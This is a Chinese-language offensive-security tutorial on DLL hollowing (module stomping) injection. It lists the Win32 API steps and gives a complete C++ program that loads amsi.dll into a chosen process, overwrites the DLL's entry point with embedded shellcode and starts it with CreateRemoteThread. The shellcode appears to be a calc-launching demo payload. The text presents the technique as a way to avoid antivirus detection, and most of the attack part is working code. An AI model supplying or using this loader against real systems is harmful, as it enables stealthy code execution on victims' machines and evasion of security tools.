# 6-DLL镂空注入（DLL Hollowing Injection）

## 一、前言

参考文章：&#x20;

1、 [总结加载Shellcode的各种方式 - 亨利其实很坏 - 博客园](https://www.cnblogs.com/henry666/p/17429771.html)

2、 [Module Stomping for Shellcode Injection | Red Team Notes](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection)

DLL镂空注入（DLL Hollowing Injection）是一种Shellcode注入技术，它借鉴了进程镂空（Process Hollowing）的原理和思路。dll镂空注入并非传统的dll注入，因为传统的dll注入是将恶意dll文件、dll注入的启动器exe一同放目标主机上，这大大增加了被杀的风险。

相比之下，DLL镂空注入不具备这样的风险，因为它是在带有微软签名的DLL中镂空一个区域。为了避免进程出错，不能直接在进程空间中已存在的DLL上进行镂空。取而代之的方法是先向目标进程远程注入一个合法的系统DLL，然后再镂空它。

## 二 、流程

1. **确定要注入的目标进程**：根据进程ID，使用使用 `OpenProcess` 打开目标进程，获取其句柄。官方文档：[OpenProcess 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)
2. **将合法的DLL（如amsi.dll）注入目标进程**：使用 `VirtualAllocEx+WriteProcessMemory` 将DLL名称写入远程进程的内存空间。然后，获取 `LoadLibraryW` 函数的地址，并在远程进程中创建一个新线程以调用该函数，实现DLL的加载。第1、2步参考`创建远程线程注入（CreateRemoteThread Injection）`
   * `VirtualAllocEx` 官方文档：[VirtualAllocEx 函数 （memoryapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)
   * `WriteProcessMemory` 官方文档：[WriteProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
   * `LoadLibraryW` 官方文档：[LoadLibraryW 函数 （libloaderapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw)
3. **找到在远程进程中注入的DLL的基地址**：`EnumProcessModules+GetModuleBaseNameA`通过在远程进程中枚举并定位特定模块(amsi.dll)的基地址
   * `EnumProcessModules` 官方文档：[enumProcessModules 函数 (psapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/psapi/nf-psapi-enumprocessmodules)
   * `GetModuleBaseNameA` 官方文档：[GetModuleBaseNameA 函数 （psapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/psapi/nf-psapi-getmodulebasenamea)
4. **获取DLL的入口点**：读取括DOS头部和NT头部，从中获取DLL的入口点（AddressOfEntryPoint）。一个进程不能直接读取另一个进程的内容（在本例中要读取的是远程进程的asmi.dll的头部），只能通过 `ReadProcessMemory` 读到本进程的地址空间中。官方文档：[ReadProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory)
5. **向DLL的入口点写入Shellcode**：同样的，我们也不能直接向远程进程写入内容，而应该使用 `WriteProcessMemory` 从DLL的入口点写入shellcode。官方文档：[WriteProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
6. **执行Shellcode**：使用 `CreateRemoteThread` 创建一个远程线程指向shellcode，以DLL的入口点作为线程的起始地址官方文档：[CreateRemoteThread 函数 （processthreadsapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)

## 三、代码实现

完整代码

```go
#include <iostream>
#include <Windows.h>
#include <psapi.h>

// 将你的Shellcode放在这里
unsigned char shellcode[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };

int main(int argc, char* argv[])
{
    TCHAR ModuleName[] = L"C:\\windows\\system32\\amsi.dll"; //定义要注入的合法DLL的文件路径
    HMODULE hModules[256] = {};  //定义一个数组用于存储目标进程中加载的模块的句柄
    SIZE_T hModulesSize = sizeof(hModules); //计算存储模块句柄数组的大小
    DWORD hModulesSizeNeeded = 0;  //用于存储EnumProcessModules函数返回的实际需要的缓冲区大小
    SIZE_T hModulesCount = 0;  //计算目标进程中模块的数量
    CHAR rModuleName[128] = {};  //定义一个字符数组用于存储远程模块的名称
    HMODULE rModule = NULL;  //定义一个变量用于存储找到的远程模块的句柄

    // 用户输入PID,正常来说应该使用argv来获取PID参数，这里只是方便我们调式而已。
    DWORD PID = 0;  
    std::cout << "请输入目标进程的PID：";
    std::cin >> PID;

    // 以可读写权限打开目标进程
    //hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

    // 在远程进程中分配内存并写入待注入DLL的路径
    LPVOID lprBuffer = VirtualAllocEx(hProcess, NULL, sizeof ModuleName, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, lprBuffer, (LPVOID)ModuleName, sizeof ModuleName, NULL);

    // 获取LoadLibraryW函数的地址，用于在远程进程中加载DLL
    PTHREAD_START_ROUTINE pLoadLibraryW = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

    // 创建远程线程以加载DLL
    HANDLE dllThread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibraryW, lprBuffer, 0, NULL);

    // 等待远程线程加载完DLL
    WaitForSingleObject(dllThread, 1000);

    // 找到在远程进程中注入的DLL的基地址
    EnumProcessModules(hProcess, hModules, hModulesSize, &hModulesSizeNeeded);
    hModulesCount = hModulesSizeNeeded / sizeof(HMODULE);
    for (size_t i = 0; i < hModulesCount; i++)
    {
        rModule = hModules[i];
        GetModuleBaseNameA(hProcess, rModule, rModuleName, sizeof(rModuleName));
        if (std::string(rModuleName).compare("amsi.dll") == 0)
        {
            break;
        }
    }

    // 获取DLL的AddressOfEntryPoint
    /*在Windows中，每个进程都有独立的虚拟内存空间，出于安全和隔离的考虑，一个进程不能直接读取另一个进程的内存。
      所以我们只能将DLL的内容复制到本进程的地址空间中，复制的大小是0x1000，刚好是4KB，一个PE头不超过4KB。
      这样我们才能获得DLL的DOS头和NT头，进一步获得AddressOfEntryPoint。
      AddressOfEntryPoint是相对虚拟地址(RVA)，不同类型的PE文件入口点含义不同
        1. exe：程序启动入口
        2. dll：DllMain函数
        3. 驱动：驱动初始化入口
    */
    DWORD headerBufferSize = 0x1000;
    LPVOID peHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
    ReadProcessMemory(hProcess, rModule, peHeader, headerBufferSize, NULL);
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peHeader;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)peHeader + dosHeader->e_lfanew);
    LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)rModule);

    // 将Shellcode写入DLL的AddressOfEntryPoint
    WriteProcessMemory(hProcess, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

    // 从注入的DLL中执行Shellcode
    CreateRemoteThread(hProcess, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

    return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/10/16-29-17-2ecf68335dadf2aa60bb6ab9b85ca5ad-20250110162917-aab394.png)

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/10/16-33-00-6afa464647d0407cd4f0ce4ffef1850e-20250110163259-4ae563.png)
